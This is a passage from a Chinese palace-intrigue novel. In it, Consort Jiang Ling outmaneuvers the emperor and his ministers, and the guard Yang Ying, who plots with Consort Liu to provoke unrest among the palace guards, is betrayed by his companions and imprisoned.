得了江舲模棱两可的答案,元明帝就不再多问,道:“即便她不死,朕也不会放过她。那两个宫正司不见的宫女,被杀人灭口扔到坤宁宫,还是畏罪自尽,已死无对证。无论是何种,她都难逃干系。你还当做回事,让黄梁去给她收尸,扔进乱葬岗作数!” “皇上待人一向宽厚,在气头上不饶人,等过了一阵,皇上气消了,还不是会心软。” 江龄柔声细语说着,元明帝对她的说法嗤之以鼻,她太过妇人之仁,一个宫人罢了,值得他这个皇帝心软! 他铁血手腕,身边人却须得心地善良,方能令人心安。 江舲捏着鼻子夸赞元明帝,“我想着天气热,早些去收敛起来,免得让皇上操心。” 元明帝大人大量道:“行,朕就依了你,不与她追究了。” 江舲干巴巴谢恩,心里一阵荒凉,觉得真真滑稽到可笑。 从袁长生到宋宫正,他们的死,对元明帝而言,好比是一阵微风散去,连涟漪都不曾起。 “宫正司没了人,我觉着,以后干脆撤掉作数。”江舲坐地起价,随意道。 元明帝拉下脸,不满地道;“你瞧你,又开始打胡乱说了。没了宫正司震慑,助长了宫人的气焰,以后还不得大乱。” 江舲本就知道元明帝不会答应,于是趁机提出她真正的想法,道:“皇上教训得是,我想得简单了些。人选之后再说吧,找秦尚宫她们打听一二,让她举荐几个人,由皇上定夺。不过,宫中的人着实多了些,人多嘴杂,难免起纷争。要不干脆放些人出宫去,让他们与亲人团聚,皇上爱民如子,他们也会感念皇上。” 元明帝垂眸沉思,江舲见状下了一剂狠药:“皇上,宫中的开销太大了些,放些人出去,能省下不少的钱粮。” “朕难道还缺这点钱粮?”元明帝斜乜了眼江舲,话虽如此,他抬起下巴,道:“朕看他们亲人离散也不忍心,就放一批出宫,让她们归乡与亲人团聚。” 江舲另有打算,必须限制宫中的宫女内侍人数。眼下不是大刀阔斧的时机,道:“我明早让六尚各宫把消息传下去,只要愿意出宫者,任何人不得阻拦。来自同一处的,一起结伴归乡。朝廷这边出钱粮,让大车店出人手护送。也花不了几个银子,皇上干脆送佛送到西。” 元明帝不耐烦地道:“既然你提了出来,你去安排就是。区区小事,朕哪有功夫管。” 江舲道是,元明帝掀起眼皮看了看她,道:“你也要注意些言行举止,最近朝堂上参奏你的折子愈发多了。喏,”他朝放在矮案上的匣子努努嘴,“今朝新添了好几封参奏你的折子。” “谁又在污蔑我了?”江舲见郑相照着她的吩咐,把朝中参奏她的折子。悉数呈到御前。她提起衫裙气冲冲走过去,拿起折子一通翻看,“我要找出来,让他们好生说清楚!” 元明帝乐得笑出声,“真是不学无术,那不叫说清楚,有人参奏你,你要写折子辨诬诬才是。” “我没读过几天书,不懂得什么辨诬。”江舲说得理直气壮,翻出参奏她的折子,记下官员的名字。 以她如今的声望势力,敢参奏她的官员,要么是真正刚直不阿的酸儒,要么是别有用心。 柳贤妃的羽翼,一点点被折断。江舲迄今不曾动她,静待着她自己找上门来。 参奏她的折子,并未是今日而起。看来,柳贤妃早有所动作。 江舲眸中寒意闪过,既然如此,她也就不必客气了! 第116章 “杨应, 这间值舍有人要住,你赶紧搬出去!要洒扫干净,待下值时, 我会亲自来查看,若是没办好” 张善手袖在身前, 拿眼角斜瞥着杨应,他没再继续说下去, 只皮笑肉不笑呵呵了两声, 大摇大摆离去。未尽之意,自不言而喻。 杨应原本为袁长生亲信, 独自占着一间小院。现在袁长生没了,杨应早该识相让出住所。张善横竖看不顺惯杨应, 打定心思要收拾他。 江舲不许他横生枝节, 他只照着规矩让杨应搬出去,算不上生事。 “呸!”赖三朝张善的背影啐了口,骂道:“狗仗人势的奸佞小人, 以前一口一个杨二哥, 叫得比亲爹都恭敬。狗东西, 翻脸不认人了!” “你少说两句, 仔细给二哥招来祸事。”陈福顺稳重, 赶忙皱眉劝说。 赖三不服气要抢白, 见杨应阴沉的脸色,忙缩起脖子不吱声了。 比起袁长生, 赖三以及一众人更惧怕杨应。袁长生寡言少语, 看上去冷酷,实则极少与他们计较。杨应则不同了,他真正心狠手辣, 一旦落到他手上,怕是求生不得,求死不能。 杨应神色阴冷,盯着远处天空飘来的乌云,阴恻恻道:“张善心胸狭窄,他成了慧淑妃的走狗,一朝得势,何来你我的容身之处。” 袁长生出事之后,往常交好的人都不见了踪影,如今他们在宫中力单势薄,被张善欺负了也不敢吭声。 陈福顺也面色沉重起来,他叹了口气,愁眉苦脸地道:“二哥,张善也不安排我们当值,就这么将我们冷落到一边。他肯定不安好心,挖空心思给我们使绊子。” 赖三忍不住插嘴道:“他是要抓我们的把柄,不曾当值,便没了月钱。指不定我们还会被打板子,赶出宫去。” 陈福顺一愣,忙道:“二哥,赖三说得是。搬住所的事小,当值时不见人,活生生的把柄被张善抓住,他就有由头惩处我们。” 杨应脸色变换不停,阴狠闪过,道:“先不要轻举妄动,搬走再说。” 陈福顺张了张嘴,一时也没了法子,暂且按下心慌,让赖三叫了几个心腹,一起进屋收拾。 几人忙得大汗淋漓,收拾起大包小包,搬到陈福顺与赖三的屋中去。原本六人住的屋子,只住了陈福顺赖三两人,杨应的箱笼多,搬进来后,屋子挤得转身都艰难。 由俭入奢易,由奢入俭难。狭小的屋子只得巴掌大小的窗棂,闷热得犹如蒸屉。他们如今也没了冰,干坐不动就汗如雨下。归置好值钱的细软,像是从水中捞上来一般,连亵裤都在淌水。 到傍晚时分,风呼啦啦刮起来,屋中渐渐昏暗,惟余窗棂处微弱的光。 杨应呼吸急喘坐在塌上,直勾勾盯着面前的窗棂,恨意凛冽。 门边凉快些,赖三怕挡着透气,蹲在门边吹风。他听到杨应的动静,心头发怵,摸出火折子进屋来掌灯。 “要下雨了。”赖三干巴巴解释了句,刚揭开火折子的盖子,举在嘴边准备吹然,杨应猛地站起身朝外走。 赖三赶忙侧身贴在塌沿让开,急着道:“二哥去哪里?” 陈福顺躺在床上假寐,一个翻身坐起,趿拉上鞋子就要跟上。 “别跟来!”杨应留下一句,抬头望了望天。豆大的雨滴落下来,他埋头下了台阶,几个闪身隐入了夜色中。 * 江龄收起册子,道:“外面快下雨了,你们早些回府。” 郑相孙相郭相与吏部户部尚书纷纷站起身见礼,“臣等告退。” 江舲颔首还礼,率先朝外走去。郑相恭敬立着,待江舲走出屋后,他随后朝外走。 吏部王尚书上前一步,脸上堆满笑,“郑相且等等,吏部还有些事,下官随郑相一道前去政事堂。” 郑相暗自白了眼王尚书,道:“没见要下雨了,我不回政事堂,这就出宫去。” 王尚书只当没听到,缀在了他的身后,道:“郑相,这吏部的遴选,郑相一定要替吏部拿个主意。” “姜尚书在,你去问姜尚书的主意。”郑相马上推着他,转身指着户部姜尚书。 姜尚书看着他们,心里大致明白了如何回事,眼皮跳了跳。 “不如大家一起去吏部坐着吃盏茶?”王尚书心头一转,不止姜尚书,干脆把孙相郭相一并叫上。 孙相郭相不置可否,姜尚书眼皮微敛,等着郑相发话。 郑相便点头道:“去吏部坐着吃杯茶也好,夏季雨急,来得快去得亦快,待雨停了再回府。” 几人一起出了垂拱殿,到吏部王尚书值房坐了下来。王尚书取出他珍藏的龙凤团茶,亲自煮了几杯。 郑相品了几口茶,笑道:“王尚书这里藏着好茶,难怪平时见不着人,原来在躲着吃独食。” 王尚书笑着道不敢,他神色一变,忧心忡忡地道:“这龙凤团茶是皇上所赐,平时我都舍不得吃。食君之禄忠君之事,吃了皇上赐的茶,当不好差,让我这张老脸往何处搁呐!” 孙相姜尚书眼观鼻鼻观心品着茶,仿佛要把茶水品出花样来。以往万事不沾身的郭相,放下茶盏说了句:“王尚书此言极是,朝臣官员替皇上一并守江山,吏部遴选出不得半点差错。” 王尚书一愣,他笑呵呵道:“不知郭相有何高见?” 郭相道:“在诸位面前不敢班门弄斧,我倒是以为,娘娘坦坦荡荡。朝中有人参奏她后宫干政,总不能大笔一挥,罪名便成了,总得由着娘娘自辩才是。” 孙相拧眉,一脸地为难:“后宫嫔妃自辩,这从未有过之事,恐怕不妥啊!” 郭相据理力争,道:“市坊口角纷争,大家都来有回。前朝的官员参奏后宫嫔妃,容不得后宫嫔妃替自己辩解几句,不若干脆定了罪名。娘娘并非要在朝堂上与他们唇枪舌剑,并无不妥之处。” 孙相不说话了,郑相笑而不语,姜尚书望着窗外密密的雨幕,叹道:“娘娘让你我拿出参奏几人的履历,往年任职之地的赋税,人口等账目册子。娘娘称其非但要自辩,还要彻查几人。他们在做官,升迁调动时,可有故意欺瞒之处。故意欺瞒,娘娘说得客气了些,这是要查徇私舞弊了。” 王尚书愁容满面,道:“我问心无愧,不惧娘娘查。这些年来吏部遴选官员,调动升迁,都照着考评规矩行事,皆奏请皇上恩准。倒是娘娘是铁了心,要坐实后宫干政了。” 这时郑相放下茶盏,问道:“照着王尚书的意思,是以为娘娘不该查了?” 王尚书怔住,他脑子飞快转着,道:“娘娘要查,下官哪敢不从。下官只是替娘娘担心,最近后宫事出频繁,关于娘娘的风言风语一直不曾断过,娘娘直接插手吏部户部之事,此事传出去,只怕会不好收场啊!” 郑相道:“王尚书既然要问我拿主意,我也就多说几句。娘娘已经担着后宫干政的名声,不若趁此时机,还自己一个清白。且在我看来,娘娘既然打定了主意,就收得了这个场。收不了,你我也替娘娘白操心,帮不上忙。娘娘不想翻旧账,是这几人逼着娘娘。指责他人,首先得身正,反之则是虚伪,沽名钓誉。” 孙相郭相对视一眼,附和着点头道是。姜尚书八面玲珑,迅速地跟着应了句。王尚书见状哪还能不明白,几人都默默站到了江舲一边,他心头愠怒,拉下脸不做声了。 那边,江舲回到卧房,元明帝正倚靠在床头打盹。他几层的下巴堆叠在一起,嘴微微张着,鼻中发出响亮的呼哧声。 “你回来了。”元明帝头顿了下,眼皮往上掀起,挪了挪身子,含糊抱怨道:“这般久,你做甚去了?” 江舲提壶斟茶,道:“我要替自己洗刷冤屈,得要与郑相他们说个清楚明白。” 元明帝不满地道:“朕让你莫要理会,你越与他们计较,他们愈发起劲。朕压折不发,不搭理他们,过段时日,他们也就偃旗息鼓了。你这一较劲,朝堂又要热闹起来,真是让朕不省心!” “我可有干政,皇上最清楚不过。他们在参奏我,也是瞧不起皇上,以为皇上傻,被我糊弄了去。” 江舲恨恨吃了口茶,神色愤愤道:“我这个人虽然大度,但也不能任由他们胡乱泼脏水。何况,脏水还溅到了皇上身上,是可忍,孰不可忍!” 起初江舲要找参奏她的几个朝臣官员,元明帝心底不大同意,见她气得不轻,就勉强允了她传郑相王尚书等人觐见。 平时江舲连替他读折子都不情不愿,何来的干政。她要是干政,岂不是在骂他糊涂,被她骗了去。 元明帝脸色霎时变得难看了起来,道:“朕瞧着他们在找死!你尽管去,有朕立在你后面,看他们谁敢不服,把他们给朕好生收拾了!” 天下朝臣官员,经得起详查的寥寥无几。尤其是她看过朝臣官员的折子,她敢拍着胸脯保证,只要一问详细的数目,他们无几人能准确无误答上来。 比如朝臣官员科举及第出仕,一般先从地方做起。主政地方,主要考核教化,赋税,丁户等。教化先且不管,地方的田亩,丁户,赋税相辅相成,这几样向来是一本糊涂账。 江舲要是用后世所学的数学逻辑,用来考问他们,实属在欺负人了。 江舲传政事堂,户部吏部几人前来,所行乃是阳谋。她本早已将手伸到前朝,借此机会更进一步,顺便将柳贤妃,以及反对她的人马一网打尽! 第117章 夜已深, 柔仪宫万籁俱寂,惟有淅淅沥沥的雨声。 书房的窗棂透出光,尚嬷嬷坐在窗棂下, 背靠着墙打盹。门房轻手轻脚上前,她眼睛霎时睁大, 警觉地看过去。 门房屈膝见礼,低声道:“嬷嬷, 杨应来求见娘娘。” 尚嬷嬷神色微惊, 如今张善管着护卫,杨应夜里偷偷前来见柳贤妃可是不易。她忙颔首, 转身推开书房的门。 柳贤妃提笔写着字,头也不抬, 哑着嗓子道:“嬷嬷, 我过一阵就歇息。” “娘娘,杨应来了。”尚嬷嬷端详着柳贤妃枯瘦的脸,暗自叹了口气。 “杨应?”柳贤妃沉吟了下, 道:“你去让他进来。” 尚嬷嬷赶紧去了, 柳贤妃放下笔走出书房, 立在廊檐下, 望着漆黑的雨幕。 杨应弓着身子, 跟着尚嬷嬷走来。他抬手请安, 柳贤妃朝他点了点头,“不用讲这些虚礼, 有事直言便是。” “娘娘, 老大死得冤枉,最近我们受尽了欺负。张善视我们为眼中钉,恨不得除之而后快。” 杨应一开口, 声音中就带着了哭腔,“娘娘,我们兄弟都不服,想给老大报仇。” 柳贤妃垂下眼眸,道了声好,“你打算如何替他报仇?” 杨应僵了僵,沮丧地道:“娘娘,奴婢愚钝,还请娘娘指点。” 柳贤妃干脆地道:“好,你与我仔细说说,我替你想法子。” 千辛万苦避开张善他们,杨应来到柔仪宫见柳贤妃,心头着实有些发怵。毕竟袁长生在时,他从未到柳贤妃跟前回过话。如今袁长生没了,勾当皇宫巡护换了张善,他们频频落败,已成了没用之人,柳贤妃不计较,还肯替他们想法子。 杨应转念又一想,柳贤妃早已不得宠,她膝下养着的大公主萧珈棠都搬了出去,她与他一样,都是失势之人。 说话间,杨应便逐渐挺直了身,不自觉抬起了下巴:“娘娘也知道,张善投靠了慧淑妃,狗仗人势欺负人。他先是将我赶出了住处,又故意不安排我与陈福顺他们当值,以后就能找到借口处置我们了。老大在的时候,差事都交给了我们几人。娘娘,老大被逼得惨死,事到如今,我们进退皆是一个死字,还请娘娘给我们指条活路。” 柳贤妃哦了声,道:“这个容易,你们本来是护卫,自行前去应卯当差就是,要是张善不允许,你们就可以哭诉,称你们对皇上忠心耿耿,一辈子都要侍奉皇上。哪怕一天都歇不得。要是张善还继续拦着你们,你们便使出苦肉计,让其他人看到你们的下场。护卫中有不服张善之人,会帮着你们说话。张善没了脸面,以他的性子,定会大怒。张善还没坐稳那把交椅,人心不齐。护卫皇宫闹事是大忌,闹大了,他得不了好处。” 杨应听得出神,心道这般容易的法子,他竟然没想到,都怪最近接连出事,让他昏头转向。躲藏了大半夜,杨善又累又困。法子既已得,杨善不耐烦再呆下去,马上道道:“娘娘聪明,此计甚妙!奴婢这就回去,待天明准时前去应卯。”说完,迫不及待转身大步离去。 尚嬷嬷在一旁听到,这时走上前,忧心忡忡道:“袁大伴以前说过,杨应此人有几分小聪明,就是自大了些,惯常使阴狠的手段。袁大伴降服得了他,就用了他。娘娘” “嬷嬷是担心“”我降服不了他?”柳贤边说边进屋,声音淡淡。 尚嬷嬷见自己说错话,情急解释道:“娘娘,奴婢不敢。娘娘曾教过奴婢,君子不立危墙之下,娘娘要小心提防杨应啊!” 柳贤妃垂眸不语,她立在书案前,轻轻抚摸着案上的纸。 纸上力透纸背,密密写着:“君埋泉下泥销骨,我寄人间雪满头。” 世上再无人似他那样,愿意为她生,愿意为她死。 杨应不是他,永远也成为不了他。杨应所得的一切,都是因他而来。而他的一切,都是她赐予。 如今杨应敢站在她面前来,暗含威胁之意。 他的仇,她会替他报。她要是落败,就还他一条命。 杨应来自污泥沼,愚蠢阴狠。他自己送上门来,正好回到污泥沼中去,算是他最后的一点用处。 * 从杨应离开之后,赖三就守在门边,不时拉开门缝,挤出脑袋朝外张望。 屋外风大,卷起烛火左右晃动,烛泪滴落下来,溅到陈福顺手背上,他捂着手一下坐起身,恼怒地骂道:“三癞子,你作甚鬼鬼祟祟!” 赖三充耳不闻,等了一阵后没看到动静,心神不宁地关上门,瘫倒在榻上,眼睛直直望着屋顶:“顺子,二哥怎地还没回来,他别是出事了吧?二哥这个人,只在面前服服帖帖,对你我都爱答不理。他在这个节骨眼上出门去,也不同你我说一声,外面还下着雨,黑灯瞎火的。老大以前就叮嘱过,别总是心怀侥幸,夜路走多了,迟早有天会遇到鬼。老大遇到了鬼,二哥也遇到了鬼……” 陈福顺听得来气,抬腿踢了过去,“瞧你一惊一乍,跟了老大这么多年,半点都不见长进。二哥出去,自有二哥的道理。二哥跟着老大,在贵人面前露过脸,能搭得上话。你我去有何用,这张脸无人肯认呐!” 听陈福顺提起袁长生,赖三悲从中来,呜呜哭道:“老大何等人物,说死就死了啊!” 陈福顺被哭得心中不好受,沉默着翻了个身,背对着赖三发呆。 赖三见陈福顺不搭理他,抹干净脸,准备再起身去看动静。 这时,门外传来一阵脚步声,陈福顺侧身看了过来,赖三更是一个健步扑上前,迅速拉开了门。 杨应被唬了一跳,准备推门的手停在半空,他顿时恼了,对着一脸惊喜的赖三就是一巴掌。 “唉哟!”赖三被结结实实的一巴掌,打得脑子耳朵都嗡嗡响。他捂着脸,看到杨应阴沉的神色,呼痛声变成了蚊蝇的哼唧。脸上火辣辣地疼,嘴里升起血腥气,赖三啜着牙花子,暗自拧了拧牙,吐出一口血水。 陈福顺喊了声二哥,赶紧递上干布巾,“二哥快些擦擦,仔细着凉。” 杨应接过在脸上头上胡乱擦了一通,解开湿衣裳,见赖三站在那里没动,他眼一横,骂道:“你这狗东西,打你一巴掌,你还与我较上劲了!” 赖三神色变了变,陈福顺见他脸肿了,嘴角沾着血丝,连忙打着圆场,“屋子狭窄,赖皮过来不方便。”他朝赖三使着眼色,探身去取放在榻上的箱笼。 杨应满腹心事,没功夫与赖三计较,他哼了声,接了陈福顺递来的干爽衣衫更换,“我们早些歇息,明日一早前去应卯。” 陈福顺一怔,赖三也抬头看了过来,愣愣问道:“张善安排我们当值了?” 杨应冷冷道:“张善安不安排,与我们何干?我们本是护卫,前去应卯当值天经地义,谁敢拦着我们不成?” 陈福顺皱起眉头没有做声,赖三揉着被打的脸,小心翼翼地道:“二哥,张善明摆着在针对我们,要是我们自己前去当值,定要闹起来。” “就是要闹。” 杨应阴恻恻接了句,朝地上狠狠淬了口,道:“你我如今都被逼得没了出路,张善不让我们去,我们这般干巴巴等着,也是在等死。护卫中好些人都不服他,辛麻子张万黄百岁他们都在忍气吞声,一旦闹起来,他讨不了好。你们听我的,这个法子保管有用!” 护卫闹起来可是大事,威胁到皇宫的安危。何况闹起来后刀剑无眼,说不定当场就没了命。 陈福顺沉默不语,赖三心头七上八下,见杨应往榻上一倒,大喇喇摊开手脚,榻被占了大半,已闭眼睡了过去。抚摸着挨打后的脸,赖三定了定神,缩到一边躺着了。 杨应的鼾声渐起,在赖三耳边如擂鼓一样,时高时低。他睁开眼,望着黑漆漆的屋子,脑中混乱如浆糊。 陈福顺下榻趿拉着鞋子,摸黑出了门。很快,赖三就听到哗啦啦的水声,他跟着起身走了出去。 屋外微雨纷飞,吹到脸上,带走了夏日的闷热。赖三靠在墙上等着陈福顺,回头听着屋内杨应的鼾声,他犹疑了下,小声道:“顺子,你平时主意多,比我聪明,你同我老实说说,二哥的主意可行得通?” 陈福顺低头系着裤带,他想说什么,话到嘴边又转了个圈,道:“你自己放机灵些。” “我本来就不机灵。”赖三嘟囔起来,摸索着往恭桶撒尿。他心中烦闷,干脆转身乱尿一气。 “阉了这命根子进宫,好不容易混出头,积攒了几个钱财。我老大说把小儿子过继到我名下,以后给我养老送终。要是没了命,你我无根之人,成了孤魂野鬼,在鬼中都抬不起头。” 陈福顺脚步微顿,低头进了屋。赖三见陈福顺不接话,脸色沉了沉,拉起裤子跟着回屋躺下。 天色微明,杨应坐起身,陈福顺在收拾床褥,他打了个哈欠,含混道:“赖皮去了何处,让他去打水来!” 陈福顺放好被褥出了屋,促使小黄门收走恭桶,送了大桶的水放在门口。天气炎热,早起当值的人顺手舀到木盆中,埋头进去一阵呼噜。 赖三不见人影,陈福顺回头看了看半掩着的屋门,拢了拢衣衫,闷头走出大门,加快步伐,小跑着朝垂拱殿的方向奔去。 第118章 江舲搬到琼华阁之后, 她不愿与元明帝相处,宁愿早早在外间榻上歇息。 天光微明,里间元明帝一阵咳嗽清嗓子, 江舲睁开眼,拉起薄被蒙住头。待透不过气时, 她扯开被褥喘气,屋外的门被轻轻推开。 江舲起身下榻去洗刷, 黄粱领着内侍进来伺候元明帝。她洗完之后, 先去看萧允瓒萧允琅。两人已经起床,拿着木剑对着花木一阵乱劈。 见到江舲, 萧允瓒眼疾手快藏起木剑,冲着她讨好地笑。萧允琅察觉不到不对劲, 下意识先收回手, 才转过头看来。 “事不过三,这是第三次。”江舲比起三根手指,面无表情说道。 两人不敢争辩, 耷拉着脑袋上前, 忍痛将木剑交了出来。 江舲给两人立下的规矩, 行事与她的话一样, 分轻重缓急, 比如涉及到人命关天为重要且紧急, 不得有任何的违抗,必须马上去做。毁花木则不算太重要, 但也不能随意糟蹋。正是狗都嫌的年岁, 两人无一刻肯安生,前些时候已经江舲提醒过,事不过三, 要是再抓住他们拿木剑砍花木,则没收木剑。 两人虽然淘气,江舲一向说话算话,他们跟着她养成了习惯,交出木剑之后,老老实实回屋去用早膳了。 一大早就动怒,江舲不由得开始头疼。她想到后世那些养孩子,指导学习而崩溃的父母,再对比萧允瑞萧允珏,江舲又恢复了心情。 比上不足比下有余,以封建王朝的皇子公孙们而言,他们两人已经称得上品行高洁。 江舲正准备回屋,薛庵亲自跑了过来,道:“娘娘,陈福顺来了,在外面缠着一定要见娘娘。” “陈福顺?只他一人前来?”江舲愣住,她对这个名字有印象。枸杞水莲出事时,他与杨应几人不当值,亦是袁长生的心腹之一。 薛庵道:“是,只他孤身一人。臣见他这般早来,定是有要事。臣问他,他不肯答,说要亲口与娘娘说。” 江舲迟疑了下,道:“你领他到客舍来。” 薛庵忙应是,江舲招来内侍,让他进屋去回元明帝一声,天气炎热,早起没甚胃口,过一阵再用膳。 江舲来到客舍,薛庵带着两个禁卫虎视眈眈立在一旁,陈福顺双手空空,低头耷脑被围在中间。 客舍放着冰鉴,凉意阵阵。陈福顺身上绯红衣袍后背被汗水浸湿,一块明显的深色印记。他恭敬请安,江舲叫起,抬起头的瞬间,看到他额头细密的汗珠滚落。 “你有何事,说吧。”江舲在上首坐下,不动声色打量着他道。 “娘娘,奴婢要私下与娘娘说。”陈福顺双手汗津津,他极力稳住神,喉咙却阵阵发紧。 江舲沉默了下。让薛庵他们退了出屋,“你说吧。” 陈福顺噗通跪下,双手伏地,道:“奴婢有大事要向娘娘回禀,张善接手老大先前袁长生的差事之后,压着奴婢与赖三杨应几人,不让奴婢等人领差当值。昨日张善让杨应搬出了住所,与奴婢跟赖三记在一间小屋。杨应让奴婢与赖三今天前去应卯,趁机挑动护卫们闹事。” 江舲听得眉毛直扬,张善不曾安排他们当值之事她知情,把杨应赶出来,却是在她吩咐不得节外生枝之后。 以张善的为人,杨应他们轻易而举就能煽动起护卫们不满闹事。垂拱殿早已换成皇城司禁卫镇守,还有一堆老弱妇孺在后宫。 江舲不管真假,先叫来薛庵,吩咐道:“你领着几人把杨应带来。记得要悄然行事,莫要声张。把张善也带回来。” 薛庵脸色微变,他不敢耽搁,连忙前去了。 江舲打量着陈福顺,问道:“赖三呢?你向我来告密,又是为何?” “奴婢不敢隐瞒娘娘,昨日杨应独自出去,不知他去了何处,到深夜放归来,下令奴婢与赖三前去应卯。赖三自从杨应离开之后,一直心神不宁,守着杨应归来。听到脚步声,赖三急忙去开门,杨应受了惊吓,一巴掌将赖三打得脸肿流血。” 陈福顺脸上浮起苦涩,道:“要是闹起事来,无论成与不成,奴婢与赖三必死无疑。杨应不容奴婢等人质疑,夜里赖三偷偷起身溜了,不知去了何处。奴婢起身之后,前来求见娘娘,娘娘看在奴婢坦白的份上,饶了奴婢。” 江舲大致明白了些,杨应待人苛刻,不讲情面,几人应当是面和心不和。 “你猜杨应去见了谁?” 陈福顺迟疑片刻,道:“奴婢猜测是去见了贤妃娘娘。以前杨应经常为贤妃娘娘跑腿办事。” 果真如江舲猜测的那样,柳贤妃不会放过一切反击的机会,毫不犹豫将杨应牺牲掉。 江舲没有继续这个话题,她想了想,问道:“枸杞水莲是你们所杀?” 陈福顺顿了顿,道:“回娘娘,奴婢并没有杀枸杞水莲,奴婢见到她们时,两人已经死了,奴婢只是帮忙把她们的尸首藏了起来。” 江舲哦了声,淡淡道:“把她们的尸首藏在坤宁宫,只这一样,你们也当砍头。你们这时怎地不怕死了?” 陈福顺神色复杂,他沉默片刻,并没有回答此事,道:“老大死后身无长物,他积攒的银钱,全部散给了一众手下,京城几个差点饿死的乞儿。他们对老大忠心耿耿,愿意为老大肝脑涂地。老大曾对我们说过,要是他死了,莫要为他报仇,要护住我们自己的命。京城那几人,也别告诉他们。若有来世,忘了今生之苦,互不相识,互不亏欠,各自过活。” 仗义每多屠狗辈,怪不得袁长生死得那般决绝干脆,他要护着的并非只是柳贤妃,还有他身边的一众人。 江舲默然,道:“你不怕我杀了你?” 陈福顺俯身在地,重重磕了头,哽咽着道:“老大生前曾说过,娘娘最重规矩,是真正的君子。奴婢深知自己有错,没了别的出路,不敢妄求娘娘宽恕,只求娘娘留奴婢一口气,奴婢是死是活,就听天由命了。” 蝼蚁也惜命,江舲看着陈福顺红肿的额头,她暗自叹了口气,“你先回屋去等着,莫要乱起心思,否则,你的气就留不住了。” 陈福顺提到嗓子眼的心,终于放下大半,他赶忙磕头谢恩,恭敬退了出屋。 这时,薛庵急匆匆回来了,道:“娘娘,杨应在住处被臣等拿住了,娘娘可要审问他?” 江舲沉吟之后,道:“先关着吧,且只关起来,其他什么事都不要做,看他的反应再说。” 薛庵应是退下,张善满头大汗赶了回来,他神色亢奋,道:“娘娘,出大事了!” 江舲神色淡定,问道:“何事?” 张善吸了吸鼻子,一脸神秘地道:“以前袁长生的亲信赖三前来向奴婢告密,称杨应打算起事。” 江舲好奇问道:“杨应要怎样起事?” 张善深吸一口气,义愤填膺道:“袁长生擅长收买人心,勾当皇宫的那群人对他忠心耿耿,只识袁长生,不识皇上娘娘等主子。袁长生死后,那些人到处造谣,说他是奴婢受了娘娘的指使,被奴婢害死。杨应打算挑动他们他们起事,替袁长生报仇。护卫们闹起来,就是奴婢没当好差,奴婢到时候说不定被皇上砍了头,娘娘也会受到牵连。娘娘,奴婢这就去把杨应抓起来,让他无法再兴风作浪!” 江舲定定看着张善,他的话半真半假,护卫们闹起来,他确实难辞其咎。他与陈福顺的话有出处,人性复杂,江舲当然都不会偏信。 张善对江舲的忠心毋庸置疑,他有自己的小心思,想要借助江舲,牢牢掌控勾当皇宫护卫。 江舲问道:“赖三呢?” 张善道:“赖三狡诈多端,他来告密,怀着不可告人的心思。奴婢不得不防,把他先捆了,让他无力再作乱。” 江舲心情烦闷,不耐烦与张善虚与委蛇,脸微微沉了下去,直接问道:“赖三是死是活?” 张善觑着江舲的脸色,霎时心头一紧。他不敢再多言,嗫嚅着道:“赖三被打了二十棍,受了伤,如今还活着。” 江舲闭了闭眼,道:“我知道了。既然护卫没闹起来,赖三你就先别管了,把他交给薛庵。你照常去当差,一切就当没发生过。” 张善一时摸不清江舲的心思。他愣楞见礼告退,刚转身,被江舲叫住了。 “张善,我再提醒你一句,莫要横生枝节。” 张善下意识察觉到大事不妙,他赶忙应下,脑子却转得飞快,回想着何处犯了江舲的忌讳。 此时太阳已经升起,江舲让文涓去请林贵妃,她回偏屋略微用了几口茶水点心。 林贵妃来得极快,一段时日未见,她依然消瘦,精神比以前好转了些。 两人互相见礼,林贵妃在江舲对面坐下,看着案几上吃过的茶点,道:“最近宫中事情不断,我想着慧淑妃忙的不可开交,就没来打扰添乱。” 江舲也不拐外抹角,道:“贵妃娘娘所言极是,我确实有些忙,早起就应付了一桩事,连早膳都顾不上用,吃了几口茶点对付。我不吃甜,这些茶点。御膳房都是照着我的口味特意做了呈上来,甚是清淡,对身子有益。娘娘尝一尝,要是吃得习惯,我将方子交给娘娘。” 林贵妃爽快地取了一块米糕尝了,米糕混合了其他五谷,不见半点甜,只留有其谷物本身的滋味。 “确实寡淡。”林贵妃打量着米糕,笑道:“慧淑妃这是返璞归真了,我慧根不够,吃不大习惯。” 江舲也不强求,道:“皇上也吃不习惯,必须加糖,在油中煎过才香甜。” 林贵妃前来垂拱殿,按理该前去给元明帝请安。她并未前往,听到江舲提到他,端起茶盏抿着,一言不发。 看来,林贵妃对元明帝的厌恶,已经连虚礼都不顾,不屑半点掩饰了。 江舲笑了笑,道:“我找娘娘前来,是请娘娘主持一件事。宫中各处年满十八岁的宫女,无论女官嬷嬷,皆可以申请出宫归乡,任何人不得阻拦,强迫。” 林贵妃目露意外,她很快反应过来,道:“宫中是拥挤了些,人一多就杂乱,到处生事,放一些出去也好。只是年年有人进宫,放出去之后,并未有何改变,慧淑妃可有打算?” 江舲道:“我并非是为宫中人多杂乱,宫中也住得下,养得起她们。出宫之后的日子,不一定比在宫中过得好。我想着的是,给她们另外一种选择,完全自己做主的机会。” 林贵妃一下定在那里,心口涌上百般滋味。 休说是出身穷苦,身不由己被卖进宫的宫女。就算出身士绅权贵的贵人娘子,如她这般出身名门望族,何曾完全自己做过主? 嫁人前,她在林氏金尊玉贵地长大,深受宠爱,要什么应有尽有。她的出路与选择,惟有一条,为林氏一族兴旺发达添砖添瓦。 嫁人后,她身份尊贵,手握大权掌管宫闱。 无论是家族,或是她的权势,犹如镜花水月那般,转瞬即逝。 因为,她从未真正掌控过。她以为的东西,皆是有人设施给她一点,她喜滋滋握在手上,当做至宝。 前朝后宫的局势,林贵妃大致了解了些。文有政事堂,武有皇城司,皆掌控在江舲之手。 林贵妃凝望着面前江舲,她以前不争不抢,对这些嗤之以鼻。 如今,她逐渐做了那施舍之人,无论是后宫,还是前朝! 第119章 屋子狭小闷热, 让人喘气都困难。杨应张大嘴大口呼吸,口鼻中,很快涌入腐朽发霉, 夹杂着隐约血腥的气息。 背靠着的墙壁潮湿黏腻,被捆住的腿脚, 渐渐变得僵硬麻木。双眼被黑布蒙住,见不到任何的光亮, 不知今夕何夕。周围万籁俱寂, 仿佛堕入无底的深渊。 杨应做巡护多年,心底清楚知道, 他仍然在皇宫,被关押在黑暗中, 只是惩处的手段。胆小的人, 只一捆一关,就吓得屁滚尿流。 以前他最喜欢看着被关的人崩溃,看不起他们的脓包胆小。如今换成他被关着, 他耳畔听到自己如擂鼓一般的心跳, 如老牛拉破车的呼哧。杨应浑身簌簌发抖, 身下一股热流流淌, 尿骚味钻进鼻尖。 “来人, 来人!放我出去, 放我出去!” 杨应扯着喉咙,疯狂大喊大叫, 